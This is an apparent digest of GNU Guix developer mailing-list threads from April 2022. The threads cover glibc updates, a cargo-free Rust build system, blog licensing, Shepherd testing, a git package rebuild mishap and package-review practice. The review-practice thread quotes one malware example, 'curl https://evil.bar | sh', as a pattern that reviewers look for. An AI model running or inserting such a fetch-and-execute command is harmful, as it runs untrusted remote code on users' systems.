Re: Support for glibc 2.35

[Development of GNU Guix and the GNU System distribution.]

On Wed, 06 Apr 2022, Zhu Zihao  wrote:
> Olivier Dion via "Development of GNU Guix and the GNU System distribution." 
>  writes:

>> I would like to know if there's plan to add glibc@2.35 soon to the
>> guix channel?
>
> I'm afraid not. Bumping the version of glibc is not a trivial package
> update in Guix, it means almost all packages need to rebuild (rebuild
> the world).
>
> If you really need it, you may inherit from a existing glibc package,
> update to 2.35 and use it. But you may need extra patches to make it
> work well.

I see.  Well then I guess I will have to go that way then.

> I'd suggest you use docker and run some distro with glibc 2.35(FWIK
> Archlinux).

Can't do that.  I need guix for its reproductibility. 

-- 
Olivier Dion
oldiob.dev

Re: Support for glibc 2.35

[Zhu Zihao]

Olivier Dion via "Development of GNU Guix and the GNU System distribution." 
 writes:

> Hello,
>
> I would like to know if there's plan to add glibc@2.35 soon to the guix
> channel?

I'm afraid not. Bumping the version of glibc is not a trivial package
update in Guix, it means almost all packages need to rebuild (rebuild
the world).

If you really need it, you may inherit from a existing glibc package,
update to 2.35 and use it. But you may need extra patches to make it
work well.

I'd suggest you use docker and run some distro with glibc 2.35(FWIK Archlinux).
-- 
Retrieve my PGP public key:

  gpg --recv-keys D47A9C8B2AE3905B563D9135BE42B352A9F6821F

Zihao


signature.asc
Description: PGP signature

Support for glibc 2.35

[Development of GNU Guix and the GNU System distribution.]

Hello,

I would like to know if there's plan to add glibc@2.35 soon to the guix
channel?

I need it for a very specific feature in it and I would currently need
to roll my own version on my channel.  If it's planned to add it soon, I
would choose to postpone and wait for it.

Regards,
old

-- 
Olivier Dion
oldiob.dev

Re: Building hexyl (a rust app) without cargo, with antioxidant-build-system

[raingloom]

On Mon, 04 Apr 2022 11:26:45 +0200
Maxime Devos  wrote:

> Brendan Tildesley schreef op ma 04-04-2022 om 15:10 [+1000]:
> >  I would have called it cargone.
> >  
> >  Do you believe sidestepping cargo all together like this is a good
> > long term strategy?  In particular that importing packages will
> > still be easy.   
> 
> The package definitions look almost the same, except for:
> 
>   * #:cargo-inputs and #:cargo-development-inputs are moved to
> 'inputs'/'propagated-inputs' and 'native-inputs'
>   * For a few packages, #:features ~'(...) needs to be added
>   * antioxidant-build-system doesn't look at version numbers,
> so the numbers of variants of packages that needs to be defined
> could perhaps be reduced
>   * Cycles are not supported
> 
> The fourth point might make things difficult though I have some ideas
> on how to resolve it (without simply disabling tests)  (TBI!). 
> Otherwise, I don't see much complications with importing packages.
> 
> Greetings,
> Maxime.

I'm also a bit worried with the trend of Guix trying to duplicate
functionality already present in language package managers and config
file formats. It creates a two-sources-of-truth situation. Trying to
keep one up to date with the other can be an issue, this is why I
didn't create a custom record type for Yggdrasil config files and just
used a generic JSON converter. Which paid off, since there were in fact
changes in the config fields between versions.
Will this build system avoid that issue as well?
I guess if the data it operates on has truly stable semantics, then
writing an independent implementation is not as big a problem, since
once written and debugged, it won't need to change.
(And getting rid of cargo would be nice for Rust dev on Guix.)

Re: License of your contributions to the blog at guix.gnu.org

[Roel Janssen]

Hi all,

Sorry for the late reply.  I didn't realize I had any say in this matter.

On Sat, 2022-02-05 at 14:47 +0100, Ludovic Courtès wrote:
> Hello,
> 
> I am emailing you on behalf of the GNU Guix project because you are the
> author or coauthor of one or more articles to the blog at
> .
> 
> With a few exceptions, these articles do not have a clear license, which
> we would like to fix.  We propose to dual-license all the articles under
> CC-BY-SA 4.0 and GFDL version 1.3 or later, with no Invariant Sections,
> no Front-Cover Texts, and no Back-Cover Texts.
> 
> Do you agree with the proposed licensing terms for your contributions to
> the blog?
> 

I agree.


Kind regards,
Roel Janssen

Re: Building hexyl (a rust app) without cargo, with antioxidant-build-system

[Maxime Devos]

Maxime Devos schreef op za 02-04-2022 om 17:18 [+0200]:
>   * makes a few assumptions on the source layout (can be fixed
>     by using more info from Cargo.toml)

This has now been partially resolved.  It now looks in Cargo.toml to
determine where Rusts's equivalent of 'configure' (build.rs) is
located, and the Cargo.toml can now override the default src/lib.rs.

Some other improvements that weren't announced previously:

  * The code now automatically detects cycles and reports which
packages are involved in the cycle.
  * --edition (cf. -std=c11/c99/...) is set appropriately, depending on
Cargo.toml, fixing some build failures.
  * All default 'features' (in Cargo.toml) are now enabled by default.
  * Package definitions can request non-default features to be built
anyway.

A difference from cargo-build-system: features are set in the
package of the rust crate, not the package using the rust crate.
  * build.rs is now run, which reduces the number of features that need
to be set manually.
  * proc-macro crates are now named .so instead of .rlib, apparently
naming them .rlib even though they aren't .rlibs confuses rustc
or something.
  * #[deny(warnings)] (rust's equivalent of -Werrors) is now ignored
(FWIW this is done by cargo as well).
  * Conversion from cargo-build-system to antioxidate-build-system is
now automated by a recursive 'vitaminate/auto' procedure and some
ad-hoc cycle breaking.

Some things that could perhaps be moved to (upstream) Guix:

  * Sometimes test and build.rs dependencies are listed in
#:cargo-inputs and #:cargo-development-inputs (e.g.
rust-quickcheck, rust-cc).  I deleted the test dependencies
(because they contribute to cycles and for now running tests
isn't supported anyways).
   
Maybe they can be moved to #:cargo-development-inputs upstream
(untested)?  Extending 'check-inputs-should-be-native' would also
be nice too ...

  * There's a cycle between rust-backtrace-sys and rust-cc can be
eliminated by deleting build.rs and tweaking Cargo.toml, at cost
of losing some support for Android (which is not supported by Guix
except in the sense that Linux is supported).

Greetings,
Maxime


signature.asc
Description: This is a digitally signed message part

License of your contributions to the blog at guix.gnu.org

[Ludovic Courtès]

Hello Danny, David, Laura, and Roel!

I hope this message finds you well.

If I’m not mistaken, you have not yet replied to my message below, also
visible at
.

Could you take a look?

Thanks in advance!

Ludo’.

Ludovic Courtès  skribis:

> Hello,
>
> I am emailing you on behalf of the GNU Guix project because you are the
> author or coauthor of one or more articles to the blog at
> .
>
> With a few exceptions, these articles do not have a clear license, which
> we would like to fix.  We propose to dual-license all the articles under
> CC-BY-SA 4.0 and GFDL version 1.3 or later, with no Invariant Sections,
> no Front-Cover Texts, and no Back-Cover Texts.
>
> Do you agree with the proposed licensing terms for your contributions to
> the blog?
>
> If you do, please reply to this message to say so, keeping
> guix-devel@gnu.org Cc’d (if you already replied in the previous thread,
> you do not need to reply again).
>
> If you would prefer different licensing terms, or if you have any
> questions, feel free to ask them publicly on guix-devel@gnu.org or
> privately with guix-maintain...@gnu.org.
>
> The clarified license will allow us and others to reuse material in the
> manual, cookbook, and in other free cultural works.  See
> 
> for the initial discussion.
>
> Thanks in advance!
>
> Ludo’.

Devicetree overlay (on Rock64)

[Sébastien Lerique]

Hi Guix!

(Re-posting from help-g...@gnu.org as I didn't get any answers there.)

I'm starting a small embedded project using a Rock64, successfully
running Guix on it (and keeping track of config at [0]).

It seems that the Rock64 has a few design mistakes (as always I guess,
but in this case they matter to me), such that I would need to use a
tiny devicetree overlay to get access to the board's SPI device. The
pine64 forum has a couple threads on this: [1] [2].

Trying to use the kernel's configfs to set up an overlay (as in the
first thread above, [1]) doesn't seem possible, as the devicetree in
configfs seems to be only made available on board-maintained versions of
the kernel [3].

My question: is there a standard way to change a devicetree using Guix's
bootloader+kernel tooling?

U-Boot's docs [4] mention either manually loading an overlay, or putting it
in a Flat Image Tree, but I haven't figured out how to do that with
Guix's tooling. I'm also not understanding whether I would need to do
this for both u-boot and the kernel, or if the first would be enough.

This thread [5] from help-guix mentions it would be nice to be able to
parse custom devicetrees, but that wasn't enough to find next steps in
exploring this. Do guixers have experience that could help here? Any
hints or help would be very welcome!

Happy hacking -- and please let me know if this doesn't belong on this
list,
Sébastien


[0] https://gitlab.com/wehlutyk/matrixbox/
[1] https://forum.pine64.org/showthread.php?tid=6282=40056#pid40056
[2] https://forum.pine64.org/showthread.php?tid=5522
[3] 
https://stackoverflow.com/questions/50877808/configfs-do-not-mount-device-tree-overlays
[4] 
https://u-boot.readthedocs.io/en/stable/usage/fdt_overlays.html#ways-to-utilize-overlays-in-u-boot
[5] https://mail.gnu.org/archive/html/help-guix/2020-04/msg00052.html


PS: in case anybody is interested, the project is to implement a Marble
Answering Machine  on top of Matrix, with
added message-sending buttons, to enable young children (and grown-ups)
to message friends and relatives while still avoiding screen exposure.

Re: 06/07: gnu: git: Update to 2.35.1.

[Maxim Cournoyer]

Hi Christopher,

Christopher Baines  writes:

> guix-comm...@gnu.org writes:
>
>> apteryx pushed a commit to branch master
>> in repository guix.
>>
>> commit 223a3d7f7fdb6af9c4c090785cab15d38680e887
>> Author: Maxim Cournoyer 
>> AuthorDate: Mon Apr 4 00:06:48 2022 -0400
>>
>> gnu: git: Update to 2.35.1.
>>
>> * gnu/packages/version-control.scm (git): Update to 2.35.1.
>> [phases]: Delete trailing #t.
>>
>> Signed-off-by: Maxim Cournoyer 
>> Modified-by: Maxim Cournoyer 
>
> I've been looking in to this commit, since I noticed a large number of
> rebuilds.
>
> It looks connected to Greg's patch submitted in Issue #53751, but rather
> than being authored by Greg, it's authored by Maxim.

Hm, indeed, the author field should have been Greg Hogan; not sure what
happened there (I applied it with 'git am -3' as usual); hence my
sign-off in the commit message metadata.  I'll pay more attention to
these in the future.

> Additionally, I'm guessing that the changes in Greg's patch are much
> less impactful in terms of rebuilds compared to this commit, which also
> removes the trailing #t from the phases, which will have affected every
> variant of the git package, including variants like git-minimal/fixed,
> which as the commit in the code says, is intended to rarely change.

Greg had marked it for the staging branch, but my summary verification
led me to believe only 347 packages would be impacted for (which I remember
finding a bit surprising):

--8<---cut here---start->8---
$ guix refresh --list-dependent git
Building the following 186 packages would ensure 347 dependent packages
are rebuilt: debops@1.1.0 git-repo@2.4.1 simavr@1.7 libjcat@0.1.9 [...]
--8<---cut here---end--->8---

and

--8<---cut here---start->8---
$ guix refresh --list-dependent git-minimal Building the following 69
packages would ensure 213 dependent packages are rebuilt:
pplacer@1.1.alpha19 bap@2.0.0 [...]
--8<---cut here---end--->8---

But I missed the git-minimal/fixed variant.  I should have tried the
'guix build libreoffice' test!

> I'm all for making changes fast, but I'm not sure the removal of #t from
> the phases in thisq package definition is worth the cost of the
> thousands of package rebuilds on the master branch.

Yeah, I don't think it's worth it.  Reverted it for now, and applied the
original version that didn't touch the trailing #t:

--8<---cut here---start->8---
78e8c20179 origin/master gnu: git: Update to 2.35.1.
8a9bf794e1 Revert "gnu: git: Update to 2.35.1."
--8<---cut here---end--->8---

Thanks for the report, and sorry for the mess :-)

Maxim

Re: The GNU Shepherd 0.9.0rc1 available for testing!

[Ludovic Courtès]

Hi!

Maxim Cournoyer  skribis:

> Just to let you know, I've been running on this for a couple days
> without any noticing any issue yet.  My boot time has been reduced from
> 5 to 3 minutes, yay!

Yay, thanks for testing!

I too have been running it for several days, stress-testing it a bit,
and everything’s fine.  :-)

Unless a fly falls in the ointment, I’ll go ahead and release 0.9.0
tomorrow, followed by a merge of the ‘wip-shepherd-upgrade’ branch in
Guix ‘master’.

Thanks,
Ludo’.

Re: The GNU Shepherd 0.9.0rc1 available for testing!

[Ludovic Courtès]

Hi,

"pelzflorian (Florian Pelz)"  skribis:

> On Wed, Mar 30, 2022 at 06:59:33PM +0200, Ludovic Courtès wrote:
>> You can test it on Guix System with:
>> 
>>   guix time-machine --branch=wip-shepherd-upgrade -- \
>> system reconfigure …
>
> On my 2010 Macbook Pro (with hard disk, not using SSD), boot time to
> GDM got a few seconds slower/faster from 3:08--3:22 minutes to
> 3:19--3:20 minutes.  (Faster old boot times are a few days old; seems
> to vary with temperature or phase of the moon or something.  So it is
> maybe not slower at all or maybe even 2 seconds faster.)

OK.  I don’t expect faster boot times on ‘%desktop-services’ because
those are unchanged: either they’re started “greedily” early on (like
elogind, network-manager, etc.), or they’re started lazily by
dbus-daemon.

There’s little room for boot time improvements here, AFAICS, but I’d
love to be proved wrong.

Thanks for testing and reporting back!

Ludo’.

Re: Reviewing the diff when updating a package?

[Ludovic Courtès]

Hi,

Maxime Devos  skribis:

> While we cannot feasibly protect users against more ‘hidden’ malware
> (e.g. some non-obvious remote code execution in C that then will be
> exploited by the upstream authors), the more obvious ‘here's a blob you
> don't need to look at’ seems detectable.  I think ‘no malware (AFAWCT)’
> is an important property of a distribution.

Agreed.

> I look for the following things:
>
>   1. additional bundled software
>   2. code with a different license than mentioned in the 'license'
>  field (especially if it's propietary)
>   3. ‘obvious’ malware like: curl https://evil.bar | sh - in a
>   4. blobs (possibly hiding malware)
>   5. things that look like bugs (e.g. not checking the return value of
>  'malloc' for NULL, not escaping things written to HTML documents
>   ...)
>
> I think I can reliably detect (1,3,4).  I sometimes detect (5) but not
> detecting (5) (*) doesn't mean there are no bugs, I just quickly scroll
> through the code and don't do any detailed analysis

I usually check #1, #2, and #4 for new packages; for an update, I pay
much less attention to those.

The other checks you describe are laudable, and it’s great if someone
can do that.  But I think we should not hold every review to this high
standard, nor suggest that we’re uniformly following that standard—it’s
just not feasible.

We need to find a balance between “thoroughly-reviewed” and “lively”,
which are usually antithetical.  I’d rather have more reviewers doing a
couple of the items above than no reviewers at all (and lately we’ve
been desperately short on reviewers!).

Thanks,
Ludo’.

Re: Getting the name of file-like objects

[Ludovic Courtès]

Hi,

Maxime Devos  skribis:

> computed-file-name, local-file-name, package-name ...  I don't think
> there's some generic procedure for this.

IWBN to address that and have a generic procedure, somehow.

Ludo’.

Re: Possible missed translatability of plural string in shepherd

[Ludovic Courtès]

Hi Anders,

Anders Jonsson  skribis:

> when translating shepherd to Swedish, I saw that the plural string on
> https://git.savannah.gnu.org/cgit/shepherd.git/tree/modules/shepherd/service.scm#n1362
> ("~a connections still in use after ~a termination.") doesn't seem to
> be translatable.
>
> Only the singular case of the string is present in the po file at
> Translation Project.

Good catch.  I’ve now fixed it:

  
https://git.savannah.gnu.org/cgit/shepherd.git/commit/?id=b6aeac66faffd743b11af316e7fa97eca794f5ff

However, it seems we’ll be releasing 0.9.0 without updating a new POT
file, so most likely the plural form will have to wait until 0.9.1.

Thanks,
Ludo’.

Re: Deprecating legacy build phase style when cross-compiling vs. native

[Ludovic Courtès]

Hi,

Daniel Meißner  skribis:

> I have a patch in that direction sitting on
> https://issues.guix.gnu.org/54641 and I am wondering if this is the
> style that you’re proposing as the next step.

Yes, overall I suggest migrating to gexps, as suggested in:

  https://guix.gnu.org/en/blog/2021/the-big-change/

> If so, I could provide some more patches for other packages as well.

Those would be much welcome, though I think there’s no rush either.
Personally, I consider it higher priority to remove input labels than to
convert every ‘arguments’ field.

Thank you!

Ludo’.

Re: Compiling rust things without cargo (super WIP POC)

[Ludovic Courtès]

Maxime Devos  skribis:

> Maxime Devos schreef op do 31-03-2022 om 22:06 [+0200]:
>> As a next step, maybe I could try writing a Guix package definition
>> for libhello
>> and hello-oxygen, gradually making things more complicated (macros,
>> transitive
>> dependencies, some non-toy Rust dependencies, a Guix build system
>> ...)?
>
> Update: it can now build rust-cfg-if, libhello and rust-hello with
> Guix!

Woohoo, keep up the good work!  :-)

Ludo’.

Re: Autotools-generated 'configure' & 'Makefile.in' considered binaries?

[Ludovic Courtès]

Hi!

Maxime Devos  skribis:

> Ludovic Courtès schreef op vr 01-04-2022 om 10:58 [+0200]:
>> As a first milestone, maybe we could start running ‘autoreconf’ more
>> often, for packages higher in the graph.  We could change the
>> ‘bootstrap’ build phase to do that unless it’s explicitly turned off.
>> It may turn out to be a Sisyphean task though…
>>
>> Thoughts?
>
> Changing all pre-existing packages, maybe.  But doing this for new
> packages (reducing review effort) and perhaps when a package is updated
> (for purity) should be feasible I think?  Then gradually things would
> improve and eventually(TM) doing the switch in the bootstrap phase may
> become feasible ...

Yes, we could do that as a first step (in fact it’s already happening as
some projects no longer distribute tarballs).

What do maintainers think of that policy?

Thanks,
Ludo’.

Re: better error messages through assertions

[Ludovic Courtès]

Hi,

Philip McGrath  skribis:

> On 3/30/22 09:28, Andy Wingo wrote:
>> Too bad about all that other crap about checking whether the index
>> is in
>> range and the field is boxed or not, though :-/  Probably there is a
>> better design...
>> Andy
>
> For the index-out-of-range part, when I saw `record-accessor`, I
> thought of it as similar to Racket's `make-struct-field-accessor`[1],
> which can check the index just once, when the accessor is created,
> rather than each time the accessor is used. That's (part of) what
> Racket's `struct` form expands to.
>
> Would it be reasonable to use `record-accessor` in the implementation
> of SRFI 9?

Yes, or in (guix records).

Medium-term, I thought we could rebase (guix records) on Guile records
with an eye on adding support for inheritance.  So perhaps we could do
both.

Ludo’.

Re: Video Conference

[Yasuaki Kudo]

Yes it does help and thank you Maxim!

My almost only hope for a viable citizens-driven Free Software development 
hinges on clean separation of specification and implementation, modularity and 
composability.   Workers in our crazy economies have so little spare time 
(unless they are rich) - therefore, we need to create the software development 
model optimized for spare time programming

-Yasu

> On Apr 4, 2022, at 11:58, Maxim Cournoyer  wrote:
> 
> Disclaimer: My employer spearheads the development of Jami.
> 
> Hello,
> 
> Yasuaki Kudo  writes:
> 
>> Hello,
>> 
>> From time to time, I think about audio/video mixer (.i.e. video
>> conference software like BBB or Jitsi) , with the intension of making
>> it highly modular that it can be freely remixed and reinvented by
>> volunteer participants.
>> 
>> Is anyone interested?   Or is can you think about something that already 
>> exists?
> 
> You may be interested in trying out Jami; there's a package for it in
> Guix that works rather well, and there's also a jami service that is
> useful to easily keep a rendezvous point online on servers, for example.
> I've made available such a rendezvous point to the community, feel free
> to try it; it's reachable at 'rdv-jami-guix'.
> 
> About making it modular; I know there's now a plugin system in Jami that
> enable people to author plugins to implement things such as changing the
> background (green screen), applying a blur filter, etc.  The
> architecture of the software also makes it easy to create new clients
> for it, as the core library is a distinct package (libjami).
> 
> Hope that helps,
> 
> Maxim

Re: lxc and subuid

[Ludovic Courtès]

Hi!

Maxime Devos  skribis:

> Ludovic Courtès schreef op vr 01-04-2022 om 10:12 [+0200]:
>> Or we could unconditionally add 65536 subuids for each non-system user
>> account; that’s what other distros seem to be doing.
>> 
>> I think we could take advantage of it for ‘guix system container’: it
>> could run in an unprivileged user namespace and map several UIDs in that
>> namespace, such that it doesn’t need to run as root anymore.
>
> I think it will need to be conditional, because the container only has
> access to 65536 uids.  So if the container contains at least one non-
> system user, then all available uids are occupied so there is no room
> anymore for 'root' or per-service users ...

True; we could special-case that in ‘containerized-operating-system’.

But for bare-metal deployments, making that unconditional seems
reasonable to me.

Thanks,
Ludo’.

Re: 06/07: gnu: git: Update to 2.35.1.

[Christopher Baines]

guix-comm...@gnu.org writes:

> apteryx pushed a commit to branch master
> in repository guix.
>
> commit 223a3d7f7fdb6af9c4c090785cab15d38680e887
> Author: Maxim Cournoyer 
> AuthorDate: Mon Apr 4 00:06:48 2022 -0400
>
> gnu: git: Update to 2.35.1.
>
> * gnu/packages/version-control.scm (git): Update to 2.35.1.
> [phases]: Delete trailing #t.
>
> Signed-off-by: Maxim Cournoyer 
> Modified-by: Maxim Cournoyer 

I've been looking in to this commit, since I noticed a large number of
rebuilds.

It looks connected to Greg's patch submitted in Issue #53751, but rather
than being authored by Greg, it's authored by Maxim.

Additionally, I'm guessing that the changes in Greg's patch are much
less impactful in terms of rebuilds compared to this commit, which also
removes the trailing #t from the phases, which will have affected every
variant of the git package, including variants like git-minimal/fixed,
which as the commit in the code says, is intended to rarely change.

I'm all for making changes fast, but I'm not sure the removal of #t from
the phases in thisq package definition is worth the cost of the
thousands of package rebuilds on the master branch.


signature.asc
Description: PGP signature